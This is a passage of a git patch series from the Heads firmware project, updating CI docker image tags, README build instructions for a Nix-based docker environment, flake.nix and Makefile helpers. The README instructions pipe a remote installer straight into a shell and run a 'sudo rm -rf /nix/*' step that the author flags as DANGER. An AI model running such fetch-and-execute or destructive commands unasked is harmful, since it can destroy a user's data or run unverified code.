already done by nix builder...) its 1006Mb. Over my head +# TODO: +# - revisit later, should not block merge of pr +# - do doc under heads's README.md and then heads-wiki sh <(curl -L https://nixos.org/nix/install) --no-daemon . /home/user/.nix-profile/etc/profile.d/nix.sh @@ -73,6 +76,10 @@ docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd #push it docker login -docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.1.2 -docker push tlaurion/heads-dev-env:v0.1.2 +docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.1.1 +docker push tlaurion/heads-dev-env:v0.1.1 + +# For end-users, CircleCI +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) laurion/heads-dev-env:v0.1.1 -- make BOARD=qemu-coreboot-whiptail-tpm2 +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) laurion/heads-dev-env:v0.1.1 -- make BOARD=qemu-coreboot-whiptail-tpm2 run From f4db4b791c7abfd049835cf9487c56152e825976 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 6 May 2024 14:12:05 -0400 Subject: [PATCH 111/619] README.md qemu.md + CircleCI: point to images for building and using nix developed created docker image - push v0.1.3 and have latest point to the same image, add repro notes inside of README.md - modify qemu.md to also refer to using docker images TODO: remove NIX_REPRO_NOTES prior of merging Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- README.md | 41 +++++++++++++++++++++++++++++++++++++++++ targets/qemu.md | 13 ++++++++++++- 3 files changed, 57 insertions(+), 5 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 62751f4c3..ba0d02eda 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.1 + - image: tlaurion/heads-dev-env:v0.1.3 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.1 + - image: tlaurion/heads-dev-env:v0.1.3 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.1 + - image: tlaurion/heads-dev-env:v0.1.3 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.1 + - image: tlaurion/heads-dev-env:v0.1.3 resource_class: large working_directory: ~/heads steps: diff --git a/README.md b/README.md index a0819f48a..d1505693b 100644 --- a/README.md +++ b/README.md @@ -28,8 +28,49 @@ Please refer to [Heads-wiki](https://osresearch.net) for your Heads' documentati Building heads === + +Build docker from nix develop layer locally +==== + +``` +sh <(curl -L https://nixos.org/nix/install) --no-daemon + . /home/user/.nix-profile/etc/profile.d/nix.sh +nix build .#dockerImage && docker load < result +``` + +Jump into docker image +===== +`docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env` + +Build a board from docker image +===== `make BOARD=board_name` where board_name is the name of the board directory under `./boards` directory. + +Use prepared docker image from docker hub +==== +``` +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2 +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2 run +``` + +Maintenance notes on docker image +=== +Redo the steps above in case the flake.nix or nix.lock changes. Then publish on docker hub: + +``` +docker tag tlaurion/heads-dev-env:vx.y.z tlaurion/heads-dev-env:latest +docker push tlaurion/heads-dev-env:latest +``` + +Notes: +- Local builds can use ":latest" +- To reproduce CirlceCI results, make sure to use the same versioned tag declared under .circleci/config.yml's "image:" + + + +General notes on reproducible builds +=== In order to build reproducible firmware images, Heads builds a specific version of gcc and uses it to compile the Linux kernel and various tools that go into the initrd. Unfortunately this means the first step is a diff --git a/targets/qemu.md b/targets/qemu.md index 0dfdd63e3..1587fa882 100644 --- a/targets/qemu.md +++ b/targets/qemu.md @@ -1,4 +1,4 @@ -qemu-coreboot-(fb)whiptail-tpm[1,2](-hotp) boards +qemu-coreboot-(fb)whiptail-tpmX(-hotp) boards === The `qemu-coreboot-fbwhiptail-tpm1-hotp` configuration (and their variants) permits testing of most features of Heads. @@ -87,3 +87,14 @@ swtpm on Debian bookworm === 1. Install dependencies * `sudo apt install swtpm swtpm-tools` + +swtpm on nix docker image +=== +Nothing to do. Everything needed is in the docker image. + +Just make sure to pass DISPLAY environement variable on your docker command line. eg: +* Remotely downloaded docker image (doing make command only inside of docker example): + * `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2` + * `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2 run` +* Locally created docker image from nix develop environment (jumping into docker image variation of the above, where developer does what he wants within): + * `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env` From 03e861ea489e2dd7531946d4b945339b3ae7bc85 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 7 May 2024 11:58:06 -0400 Subject: [PATCH 112/619] README.md: Add docs refs to setup docker and nix persistence over QubesOS Template/AppVM for usage. Expand on nix repro instructions fro NIX_REPRO_NOTES for review Signed-off-by: Thierry Laurion --- README.md | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d1505693b..e87aa90a0 100644 --- a/README.md +++ b/README.md @@ -29,12 +29,29 @@ Please refer to [Heads-wiki](https://osresearch.net) for your Heads' documentati Building heads === +Under QubesOS? +==== +* Setup nix persistent layer under QubesOS (Thanks @rapenne-s !) + * https://dataswamp.org/~solene/2023-05-15-qubes-os-install-nix.html +* Install docker under QubesOS (imperfect old article of mine. Better somewhere?) + * https://gist.github.com/tlaurion/9113983bbdead492735c8438cd14d6cd + Build docker from nix develop layer locally ==== ``` -sh <(curl -L https://nixos.org/nix/install) --no-daemon - . /home/user/.nix-profile/etc/profile.d/nix.sh +# DANGER: remove /nix store and recreates a fresh one. Skip if you use Nix already: +sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon +# Configure nix for local builds for nix-commands and flakes usage under nix which are considered experimental features +mkdir -p ~/.config/nix +echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf +# Source nix prior of anything else: +. /home/user/.nix-profile/etc/profile.d/nix.sh +# END OF DANGER SECTION TO BE REVIEWED +# [...] +# Build nix developer local env with flakes locks to specified versions and exits just running "true" command: +nix --print-build-logs --verbose develop --ignore-environment -- true +# Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: nix build .#dockerImage && docker load < result ``` From 1bef1083e047c8f78b47ae8fd8eed33eea770d39 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 8 May 2024 11:26:34 -0400 Subject: [PATCH 113/619] README.md: update repro notes. flake.nix: qemu_kvm was not included for native kvm support: added Signed-off-by: Thierry Laurion --- README.md | 33 +++++++++++++++++++++++++-------- flake.nix | 18 +++++++++++++----- 2 files changed, 38 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index e87aa90a0..15b1527c5 100644 --- a/README.md +++ b/README.md @@ -50,25 +50,42 @@ echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf # END OF DANGER SECTION TO BE REVIEWED # [...] # Build nix developer local env with flakes locks to specified versions and exits just running "true" command: -nix --print-build-logs --verbose develop --ignore-environment -- true +nix --print-build-logs --verbose develop --ignore-environment --command true # Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: nix build .#dockerImage && docker load < result ``` -Jump into docker image + +Jump into nix develop created docker image for interactive workflow ===== `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env` -Build a board from docker image -===== + +From there you can use the docker image interactively. + `make BOARD=board_name` where board_name is the name of the board directory under `./boards` directory. -Use prepared docker image from docker hub +One such useful example is to build and test qemu board roms and test them through qemu/kvm/swtpm provided in the docker image. +Please refer to [qemu documentation](targets/qemu.md) for more information. + +Eg: +``` +make BOARD=qemu-coreboot-fbwhiptail-tpm2 # Build rom, export public key to emulated usb storage from qemu runtime +make BOARD=qemu-coreboot-fbwhiptail-tpm2 PUBKEY_ASC=~/pubkey.asc inject_gpg # Inject pubkey into rom image +make BOARD=qemu-coreboot-fbwhiptail-tpm2 USB_TOKEN=Nitrokey3NFC PUBKEY_ASC=~/pubkey.asc ROOT_DISK_IMG=~/qemu-disks/debian-9.cow2 INSTALL_IMG=~/Downloads/debian-9.13.0-amd64-xfce-CD-1.iso run # Install +``` + +Alternatively, you can use locally built docker image to build a board ROM image in a single call. + +Eg: +`docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=nitropad-nv41` + +Pull docker hub image to prepare reproducible ROMs as CircleCI in one call ==== ``` -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2 -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=qemu-coreboot-whiptail-tpm2 run +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-hotp-maximized +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=nitropad-nv41 ``` Maintenance notes on docker image @@ -81,7 +98,7 @@ docker push tlaurion/heads-dev-env:latest ``` Notes: -- Local builds can use ":latest" +- Local builds can use ":latest" tag, which will use latest tested successful CircleCI run - To reproduce CirlceCI results, make sure to use the same versioned tag declared under .circleci/config.yml's "image:" diff --git a/flake.nix b/flake.nix index 325193a03..94c947f63 100644 --- a/flake.nix +++ b/flake.nix @@ -6,9 +6,13 @@ nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; # Using the unstable channel for the latest packages, while flake.lock fixates the commit reused until changed. flake-utils.url = "github:numtide/flake-utils"; # Utilities for flake functionality. }; - # Outputs are the result of the flake, including the development environment and Docker image. - outputs = { self, nixpkgs, flake-utils, ... }: + outputs = { + self, + flake-utils, + nixpkgs, + ... + }: flake-utils.lib.eachDefaultSystem (system: let pkgs = nixpkgs.legacyPackages.${system}; # Accessing the legacy package set. lib = pkgs.lib; # The standard Nix packages library. @@ -66,8 +70,13 @@ zlib.dev ] ++ [ # Packages for qemu support with Canokey integration. - qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement (RTFM). - #canokey doesn;t work still even if compiled in, so no reason to add 1Gb of stuff in the image + #qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development cycles under docker + qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. + qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full + # + # TODO: make work qemu-canokey not existing in caches: + # Below are overrides to make canokey-qemu library availabe to qemu built derivative through override) + #canokey doesn't work still even if compiled in, so no reason to add 1Gb of stuff in the image (qemu -device canokey not exposed even if configured in) #canokey-qemu # Canokey lib for qemu build-time compilation. #(qemu.override { # canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. @@ -141,4 +150,3 @@ }; }); } - From b4936ea42c7d0acea797fafaa26347fc8ab610fc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 8 May 2024 11:35:13 -0400 Subject: [PATCH 114/619] CircleCI: use v.0.1.4 produced with latest flake.nix which includes qemu_kvm for kvm testing in docker image Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index ba0d02eda..e8188d3b3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.3 + - image: tlaurion/heads-dev-env:v0.1.4 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.3 + - image: tlaurion/heads-dev-env:v0.1.4 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.3 + - image: tlaurion/heads-dev-env:v0.1.4 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.3 + - image: tlaurion/heads-dev-env:v0.1.4 resource_class: large working_directory: ~/heads steps: From e4976e7882992c6b5182d2593f5d34bd4028e229 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 8 May 2024 15:25:57 -0400 Subject: [PATCH 115/619] Re-add kgpe-d16 as UNMAINTAINED_* boards, still built by CircleCI (since cosntant interest in the builds) Modify .circleci/config.yml to also not reuse past caches if CircleCI config changes as part of calculated hashes for the 3 layers Signed-off-by: Thierry Laurion --- .circleci/config.yml | 42 ++++++++++++++++--- ...MAINTAINED_kgpe-d16_server-whiptail.config | 0 .../UNMAINTAINED_kgpe-d16_server.config | 0 ...D_kgpe-d16_workstation-usb_keyboard.config | 0 .../UNMAINTAINED_kgpe-d16_workstation.config | 0 5 files changed, 37 insertions(+), 5 deletions(-) rename {unmaintained_boards => boards}/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config (100%) rename {unmaintained_boards => boards}/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config (100%) rename {unmaintained_boards => boards}/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config (100%) rename {unmaintained_boards => boards}/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index e8188d3b3..3fd260dcd 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -61,15 +61,15 @@ jobs: - run: name: Creating all modules and patches digest (All modules cache digest) command: | - find ./Makefile ./flake.lock ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums + find .circleci/config.yml ./Makefile ./flake.lock ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums - run: name: Creating coreboot (and associated patches) and musl-cross-make modules digest (musl-cross-make and coreboot cache digest) command: | - find ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums + find .circleci/config.yml ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | - find ./Makefile ./flake.lock modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums + find .circleci/config.yml ./Makefile ./flake.lock modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums - restore_cache: # First matched/found key wins and following keys are not tried keys: @@ -248,6 +248,14 @@ workflows: requires: - prep_env + # coreboot 4.11 + - build_and_persist: + name: UNMAINTAINED_kgpe-d16_workstation + target: UNMAINTAINED_kgpe-d16_workstation + subcommand: "" + requires: + - prep_env + # Cache one workspace per architecture # Make sure workspace caches are chainloaded and the last in chain for an arch is saved - save_cache: @@ -458,14 +466,38 @@ workflows: requires: - librem_14 - # coreboot purism - # dasharo clevo_release + staging IASL patch + # dasharo release - build: name: nitropad-ns50 target: nitropad-ns50 subcommand: "" requires: - nitropad-nv41 + + # coreboot 4.11 + - build: + name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard + target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard + subcommand: "" + requires: + - UNMAINTAINED_kgpe-d16_workstation + + # coreboot 4.11 + - build: + name: UNMAINTAINED_kgpe-d16_server + target: UNMAINTAINED_kgpe-d16_server + subcommand: "" + requires: + - UNMAINTAINED_kgpe-d16_workstation + + # coreboot 4.11 + - build: + name: UNMAINTAINED_kgpe-d16_server-whiptail + target: UNMAINTAINED_kgpe-d16_server-whiptail + subcommand: "" + requires: + - UNMAINTAINED_kgpe-d16_workstation + # - build: # name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard # target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard diff --git a/unmaintained_boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config rename to boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config diff --git a/unmaintained_boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config rename to boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config diff --git a/unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config rename to boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config diff --git a/unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config rename to boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config From 6ce3d21e4c4f90452396882654a4f00662fae663 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 9 May 2024 10:40:21 -0400 Subject: [PATCH 116/619] modules/flashrom: Remove LIBS_BASE to stop linking in RPATH. Specifying LIBS_BASE causes flashrom's Makefile to link in an RPATH, using the Heads workspace path, which is not what we want. It does other things too, but we already pass the parts we need to the make invocation for flashrom. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- modules/flashrom | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/flashrom b/modules/flashrom index 52db5ec6e..63143d9dd 100644 --- a/modules/flashrom +++ b/modules/flashrom @@ -33,7 +33,6 @@ flashrom_target := \ DESTDIR="$(INSTALL)" \ INSTALL="$(INSTALL)" \ LDFLAGS="-L$(INSTALL)/lib" \ - LIBS_BASE="$(INSTALL)" \ PREFIX="$(INSTALL)" \ $(CROSS_TOOLS) \ $(flashrom_cfg) \ From c7f652bf897faf2e4110806efd28d15e8a37d53c Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 9 May 2024 17:00:38 -0400 Subject: [PATCH 117/619] Makefile: Use relative paths in configs generated from templates Use relative paths in configs generated from templates, so the final build doesn't depend on the absolute location of the repository. The coreboot config is part of the final ROM. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- Makefile | 8 +++----- bin/prepare_module_config.sh | 27 +++++++++++++++++++++++++++ 2 files changed, 30 insertions(+), 5 deletions(-) create mode 100755 bin/prepare_module_config.sh diff --git a/Makefile b/Makefile index 9c38f7d90..2498f374d 100644 --- a/Makefile +++ b/Makefile @@ -268,12 +268,10 @@ all payload: FORCE: # Copies config while replacing predefined placeholders with actual values +# This is used in a command like 'this && $(call install_config ...) && that' +# so it needs to evaluate to a shell command. define install_config = - sed -e 's!@BOARD_BUILD_DIR@!$(board_build)!g' \ - -e 's!@BLOB_DIR@!$(pwd)/blobs!g' \ - -e 's!@BRAND_DIR@!$(pwd)/branding/$(BRAND_NAME)!g' \ - -e 's!@BRAND_NAME@!$(BRAND_NAME)!g' \ - "$1" > "$2" + $(pwd)/bin/prepare_module_config.sh "$1" "$2" "$(board_build)" "$(BRAND_NAME)" endef # Make helpers to operate on lists of things diff --git a/bin/prepare_module_config.sh b/bin/prepare_module_config.sh new file mode 100755 index 000000000..ba312ebfc --- /dev/null +++ b/bin/prepare_module_config.sh @@ -0,0 +1,27 @@ +#! /usr/bin/env bash + +TEMPLATE="$1" +RESULT="$2" +BOARD_BUILD="$3" +BRAND_NAME="$4" + +repo="$(realpath "$(dirname "${BASH_SOURCE[0]}")/..")" +# For both coreboot and Linux, the config file is in a board- +# specific build directory, but the build occurs from the +# parent of that directory. +module_dir="$(realpath "$(dirname "$2")/..")" + +# Use relative paths since the config may be part of the ROM +# artifacts, and relative paths won't depend on the workspace +# absolute path. +board_build_rel="$(realpath --relative-to "$module_dir" "$BOARD_BUILD")" +repo_rel="$(realpath --relative-to "$module_dir" "$repo")" + +echo "board_build_rel=$board_build_rel" +echo "repo_rel=$repo_rel" + +sed -e "s!@BOARD_BUILD_DIR@!${board_build_rel}!g" \ + -e "s!@BLOB_DIR@!${repo_rel}/blobs!g" \ + -e "s!@BRAND_DIR@!${repo_rel}/branding/$BRAND_NAME!g" \ + -e "s!@BRAND_NAME@!$BRAND_NAME!g" \ + "$TEMPLATE" > "$RESULT" From 181ce621bb913d3fd8ed8f9c13222850555f6615 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 10 May 2024 11:37:05 -0400 Subject: [PATCH 118/619] README.md Makefile: address comments in PR review for daily/non-daily Nix users, remove NIX_REPRO_NOTES, Makefile dev helpers self-explain themselves Signed-off-by: Thierry Laurion --- Makefile | 36 +++++++++++++-------- NIX_REPRO_NOTES | 85 ------------------------------------------------- README.md | 23 +++++++++++-- 3 files changed, 44 insertions(+), 100 deletions(-) delete mode 100644 NIX_REPRO_NOTES diff --git a/Makefile b/Makefile index 2498f374d..38cc9f685 100644 --- a/Makefile +++ b/Makefile @@ -819,6 +819,8 @@ $(board_build)/$(CB_OUTPUT_BASENAME)-gpg-injected.rom: $(board_build)/$(CB_OUTPU ./bin/inject_gpg_key.sh --cbfstool "$(build)/$(coreboot_dir)/cbfstool" \ "$(board_build)/$(CB_OUTPUT_FILE_GPG_INJ)" "$(PUBKEY_ASC)" + +#Dev cycles helpers: real.clean: for dir in \ $(module_dirs) \ @@ -830,20 +832,28 @@ real.clean: done cd install && rm -rf -- * real.gitclean: - #Use git ignore file as a base to wipe everything not in tree. Keeps coreboot forks downloaded since detected as git repos, wipes the rest. + @echo "Cleaning the repository using Git ignore file as a base..." + @echo "This will wipe everything not in the Git tree, but keep downloaded coreboot forks (detected as Git repos)." git clean -fxd + real.gitclean_keep_packages: - #Same as above but keep the packages downloaded to save bandwidth + @echo "Cleaning the repository using Git ignore file as a base..." + @echo "This will wipe everything not in the Git tree, but keep the 'packages' directory." git clean -fxd -e "packages" + real.remove_canary_files-extract_patch_rebuild_what_changed: - #Another approach is to remove the "canary" files - # This forces Heads to restart building a board config by checking packages integrity, extracting them, redoing patching on files and rebuilding what needs to be rebuilt - # reinstalling what is needed under ./install as well which is what we normally want on a development cycle. - #Limitations: if for whatever reason, a patch creates a file in an extracted package dir, this approach will fail without further manual actions - # This is not so bad though: git patch apply tells you exactly which file couldn't be created as expected. Just delete those files and relaunch the build and it will succeed. - #This approach economizes a lot of time since most of the build artifacts do not need to be rebuilt since the dates of the files should be the same as when you originally built them. - # So only a minimal time is needed to rebuild, and this is also good for your SSD. - #**** USE THIS APPROACH FIRST *** - find ./build/ -type f -name ".canary" | xargs rm || echo "All .carnary files already deleted" - find ./install/*/* | xargs rm -rf || echo "All install/ARCH/* dirs and files already deleted" - echo "you can now call make BOARD=desired_board, and if any patch fails to apply because file exists; just rm that build/path_to_file and continue testing!" + @echo "Removing 'canary' files to force Heads to restart building board configurations..." + @echo "This will check package integrity, extract them, redo patching on files, and rebuild what needs to be rebuilt." + @echo "It will also reinstall the necessary files under './install'." + @echo "Limitations: If a patch creates a file in an extracted package directory, this approach may fail without further manual actions." + @echo "In such cases, Git will inform you about the file that couldn't be created as expected. Simply delete those files and relaunch the build." + @echo "This approach economizes time since most build artifacts do not need to be rebuilt, as the file dates should be the same as when you originally built them." + @echo "Only a minimal time is needed for rebuilding, which is also good for your SSD." + @echo "*** USE THIS APPROACH FIRST ***" + find ./build/ -type f -name ".canary" -print -delete + find ./install/*/* -print -exec rm -rf {} + + +real.gitclean_keep_packages_and_build: + @echo "Cleaning the repository using Git ignore file as a base..." + @echo "This will wipe everything not in the Git tree, but keep the 'packages' and 'build' directories." + git clean -fxd -e "packages" -e "build" diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES deleted file mode 100644 index b96382183..000000000 --- a/NIX_REPRO_NOTES +++ /dev/null @@ -1,85 +0,0 @@ -Notes to repro on top of QubesOS debian-12-xfce template based qube - -- Clone a debian-12-xfce on top of Q4.2.1 to be specialized -- Deploy QubesOS nix requirements in template: https://dataswamp.org/~solene/2023-05-15-qubes-os-install-nix.html -- Deploy QubesOS requirements for docker: https://gist.github.com/tlaurion/9113983bbdead492735c8438cd14d6cd -- Create a qube based on the cloned template above -- Open qube -- Clone whatever repo is most recent between https://github.com/mmlb/osresearch-heads/tree/wip-nix-for-build or https://github.com/tlaurion/heads/tree/wip-nix-for-build - - git clone Above_repo - - cd /home/user/heads or cd /home/user/osresearch-heads - - git checkout wip-nix-for-build - - git reset --hard - - - -Now, replication traces - -#Install nix cleanly: -sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon -#Source nix prior of creating nix cache and jumping in it -. /home/user/.nix-profile/etc/profile.d/nix.sh -#Configure nix for local builds until we have proper docker image instead: -mkdir -p ~/.config/nix -echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf -#Build nix developer local env with flakes locks to specified versions and jump into it: -nix --print-build-logs --verbose develop --ignore-environment -#Build a board -make BOARD=nitropad-nv41 - - - -In case you need to rebuild from packages+ patches + a clean ./install (where libraries and headers are found): -make real.remove_canary_files-extract_patch_rebuild_what_changed - -IF that doesn;t help you, look at the end of the global Helper for more helper. Iterate. - - - -build docker out of nix develop environement and jump into it: -nix build .#dockerImage && docker load < result && docker run --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env - -From there, rebuild with -make real.remove_canary_files-extract_patch_rebuild_chat_changed -make BOARD=nitropad-nv41 - -Make changes until taht part works in both nix layer on top of OS and withing docker image. -...... - -SUCCESSSSS?!?!?!?! CELEBRATION! -Tell @mmlb and @insurgo on matrix channel!!!! - - -------- - -Some raw and incomplete notes on how to push that docker to dockerhub -docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.0.3 -docker push tlaurion/heads-dev-env:v0.0.3 -(to be continued) - -------------------- - -#To create the docker image, using garbage collector didn't help and made the size of the image grow bigger?! not using it reverting to what worked -# produced image without garbage collector was 990 Mb image, with it (and stripping which is already done by nix builder...) its 1006Mb. Over my head -# TODO: -# - revisit later, should not block merge of pr -# - do doc under heads's README.md and then heads-wiki -sh <(curl -L https://nixos.org/nix/install) --no-daemon - . /home/user/.nix-profile/etc/profile.d/nix.sh - -#And then build derivates -nix build .#dockerImage && docker load < result && docker run --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env - -#Use it -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=qemu-coreboot-whiptail-tpm2 -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=qemu-coreboot-whiptail-tpm2 run - -#push it -docker login -docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.1.1 -docker push tlaurion/heads-dev-env:v0.1.1 - - -# For end-users, CircleCI -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) laurion/heads-dev-env:v0.1.1 -- make BOARD=qemu-coreboot-whiptail-tpm2 -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) laurion/heads-dev-env:v0.1.1 -- make BOARD=qemu-coreboot-whiptail-tpm2 run diff --git a/README.md b/README.md 